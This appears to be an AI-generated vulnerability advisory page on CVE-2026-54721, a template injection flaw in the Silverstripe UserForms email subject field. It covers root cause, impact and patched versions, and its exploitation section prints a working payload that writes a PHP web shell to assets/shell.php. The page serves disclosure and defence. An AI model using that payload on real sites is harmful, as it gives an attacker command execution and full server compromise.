CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-54721

CVE-2026-54721: Remote Code Execution via Server-Side Template Injection in Silverstripe UserForms

Alon Barad
Alon Barad
Software Engineer

Aug 27, 2026·5 min read·35 visits

Executive Summary (TL;DR)

Authenticated CMS users can execute arbitrary PHP code on the server by embedding crafted translation tags in the form email subject field, which are evaluated dynamically during form submission.

A Server-Side Template Injection (SSTI) vulnerability in the Silverstripe UserForms module allows authenticated CMS users with basic form configuration privileges to achieve remote code execution (RCE). The flaw resides in the processing of the email recipient subject field, where user-supplied template translation tags are evaluated by the template engine, leading to arbitrary PHP execution via dynamic variable interpolation.

Vulnerability Overview

The silverstripe/silverstripe-userforms module provides visual drag-and-drop form building capabilities for the Silverstripe Content Management System (CMS). Content authors and administrators use this module to construct custom form pages and define automated email configurations, including auto-responders and recipient notifications. These features process dynamic form field values (such as $Name or $Email) and merge them into administrative email fields.

To perform this dynamic merge operation, the module leverages the core Silverstripe template rendering engine (SSViewer). This template engine compiles template strings into native PHP code to improve execution speed. During the compilation of fields like the email subject line, the engine supports custom template tags, including the translation helper syntax (<%t EntityID "Default Value" %>).

Because the administrative interface allows form-editing users to configure these templates, the email subject field acts as an entry point for untrusted inputs. If an attacker inputs template engine commands into this configuration field, those commands are processed within the privileged context of the server-side compiler, exposing a significant attack surface.

Root Cause Analysis

The root cause of this vulnerability lies in the parser design of the legacy Silverstripe template engine. Specifically, the parser handles translation tags by generating a native PHP representation that preserves double-quoted default string arguments. Under normal operations, this behavior is designed to facilitate standard variable interpolation within translation strings.

However, the parser fails to properly sanitize or isolate dynamic expressions nested within double quotes inside the translation tag. When compiling the syntax <%t EntityID "Default Value" %>, the parser outputs the default value string directly inside a double-quoted PHP string literal within the compiled template file.

Because the template engine preserves the double quotes in the compiled PHP output, any nested variable interpolation syntax—such as ${expression}—is directly evaluated by the PHP interpreter at runtime. The PHP runtime interprets this syntax as a dynamic variable name, executing the inner expression as a side-effect. This behavior, known as variable-variable evaluation, allows arbitrary function calls to be executed when the template is rendered.

Code Path and Architecture

When a frontend user submits a form built via the UserForms module, the execution flows through the UserDefinedFormController. This controller retrieves the associated EmailRecipient configuration and processes the subject template to generate the outgoing mail header. The following diagram illustrates this execution flow and the insertion of the vulnerability:

The vulnerability is introduced because the compiled template is stored in the local server cache and then executed by the Zend Engine. This architecture makes it critical to prevent dynamic code generation within any field editable by CMS users.

Exploitation Methodology

Exploitation of CVE-2026-54721 requires authentication to the Silverstripe CMS with privileges sufficient to edit form pages and configure email recipients. An attacker begins by identifying a form page and navigating to the email recipient configuration tab.

The attacker then injects a template translation string containing a nested PHP expression into the "Email Subject" field. An example payload uses the PHP file_put_contents function within the dynamic interpolation sequence to write a persistent web shell to the server:

<%t Exploit "{${\'file_put_contents\'(\'assets/shell.php\',\'<?php system($_GET["cmd"]); ?>\')}}" %>

Once the configuration is saved and published, the attacker triggers execution by submitting the corresponding frontend form. The submission invokes the UserDefinedFormController, which compiles and runs the malicious subject template. The PHP interpreter evaluates the inner file_put_contents function during variable interpolation, successfully creating the file assets/shell.php on the filesystem. The attacker can then issue system commands via HTTP requests directly to the newly created script.

Impact Assessment

The successful exploitation of CVE-2026-54721 results in complete compromise of the underlying web server host. Because the arbitrary code executes within the context of the web server process (e.g., www-data or apache), the attacker gains unauthorized read and write access to all files on the filesystem accessible to that user.

An attacker can read sensitive configuration files, including database credentials, API keys, and environment variables. If the database server is accessible from the web server, this exposure allows the attacker to compromise the entire database instance, exposing personal data and system records.

Furthermore, the ability to execute system-level commands allows the attacker to establish persistent access via reverse shells, download additional utility scripts, or attempt local privilege escalation to gain root-level control over the target infrastructure.

Remediation and Defense

To address this vulnerability, the Silverstripe maintainers updated the template parser libraries in the core framework to ensure translation default values are parsed strictly as static literals. The fix is implemented across multiple active release branches.

Organizations must update their dependencies immediately using Composer. For CMS 6/7, update silverstripe/silverstripe-userforms to version 6.4.9, 7.0.7, or 7.1.1 to force the inclusion of silverstripe/template-engine version 1.0.1 or higher. For CMS 5, upgrade silverstripe/framework to version 5.4.30 or higher to resolve the issue in legacy template engines.

As an immediate mitigation for systems that cannot be patched instantly, administrators should restrict file execution permissions within writeable directories like assets/ by configuring web server rules to deny script interpretation inside user-upload zones.

Technical Appendix

CVSS Score
8.8/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Affected Systems

Silverstripe CMS with UserForms module version < 6.4.9Silverstripe CMS with UserForms module version >= 7.0.0, < 7.0.7Silverstripe CMS with UserForms module version >= 7.1.0, < 7.1.1

Affected Versions Detail

Product
Affected Versions
Fixed Version
silverstripe/silverstripe-userforms
Silverstripe
< 6.4.96.4.9
silverstripe/silverstripe-userforms
Silverstripe
>= 7.0.0, < 7.0.77.0.7
silverstripe/silverstripe-userforms
Silverstripe
>= 7.1.0, < 7.1.17.1.1
AttributeDetail
CWE IDCWE-94: Improper Control of Generation of Code ('Code Injection')
Attack VectorNetwork (AV:N)
CVSS Score8.8 (High)
Exploit StatusProof of Concept available in tests
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1203Exploitation for Client Execution
Execution
CWE-94
Improper Control of Generation of Code ('Code Injection')

The software constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes the input before execution.

Vulnerability Timeline

Technical patches committed and regression tests merged.
2026-06-24
Public security advisory GHSA-g8wr-r2v2-vqc6 and CVE-2026-54721 published.
2026-08-27

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•3 days ago•CVE-2026-87697
8.8

CVE-2026-87697: Untrusted Deserialization in .NET PresentationCore Clipboard Handling

A remote code execution vulnerability exists in Microsoft .NET due to untrusted data deserialization within the PresentationCore component. The flaw stems from implicit auto-conversion flags during clipboard data retrieval operations.

Alon Barad
Alon Barad
20 views•5 min read
•3 days ago•CVE-2026-70007
8.8

CVE-2026-70007: Out-of-Bounds Write Vulnerability in .NET Framework and WPF Subsystem

An out-of-bounds write vulnerability in Microsoft .NET Framework, .NET runtime, and Visual Studio allows unauthenticated remote attackers to execute arbitrary code via crafted pixel-shader bytecode or auto-converted clipboard payloads.

Amit Schendel
Amit Schendel
10 views•6 min read
•3 days ago•CVE-2026-70186
7.5

CVE-2026-70186: ASP.NET Core Denial of Service Vulnerability via Framework Deadlock

ASP.NET Core contains a thread deadlock vulnerability (CWE-833) that allows an unauthenticated remote attacker to cause a denial of service over the network by exhausting server thread pool resources.

Amit Schendel
Amit Schendel
10 views•5 min read
•3 days ago•CVE-2026-70035
8.8

CVE-2026-70035: Insecure Deserialization Remote Code Execution in Microsoft .NET Framework and .NET Runtime

CVE-2026-70035 is a high-severity Remote Code Execution (RCE) vulnerability in Microsoft .NET Framework, .NET runtime, and Visual Studio caused by improper handling during the deserialization of untrusted data (CWE-502). An unauthenticated attacker can execute arbitrary code within the context of the affected process by delivering a crafted serialized payload.

Amit Schendel
Amit Schendel
15 views•6 min read
•3 days ago•CVE-2026-70183
7.5

CVE-2026-70183: Elevation of Privilege in ASP.NET Core and Visual Studio via Concurrent Race Condition

An elevation of privilege vulnerability exists in ASP.NET Core and Microsoft Visual Studio due to improper synchronization during concurrent thread execution. Authenticated remote attackers with low privileges can exploit a timing window to manipulate shared resources and assume higher-level execution contexts.

Alon Barad
Alon Barad
13 views•5 min read
•6 days ago•CVE-2026-107844
5.3

CVE-2026-107844: Path Traversal Vulnerability in Contao ImagesController

A path traversal vulnerability (CWE-22) in Contao CMS allows unauthenticated remote attackers to bypass directory boundary restrictions in ImagesController and access files within the project directory.

Amit Schendel
Amit Schendel
21 views•5 min read